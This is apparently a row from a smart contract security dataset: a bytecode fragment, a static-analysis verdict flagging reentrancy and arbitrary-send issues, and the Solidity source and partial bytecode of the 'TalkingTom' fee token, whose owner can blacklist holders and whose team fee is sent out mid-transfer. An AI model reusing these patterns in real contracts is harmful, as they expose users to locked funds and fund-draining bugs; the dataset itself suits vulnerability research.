fffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027a485d52a914b73551a29d59499d1e0442553841a0ffac04f2a8c765557977364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,528
0x23be5847c4c1364d590966b420f7a22462d8dbf5
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ //TalkingTom ($TalkingTom) //Telegram : https://t.me/talkingtomtoken //Website : https://talkingtomtoken.com // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TalkingTom is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TalkingTom"; string private constant _symbol = "TalkingTom"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 14); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600a81526020017f54616c6b696e67546f6d00000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f54616c6b696e67546f6d00000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff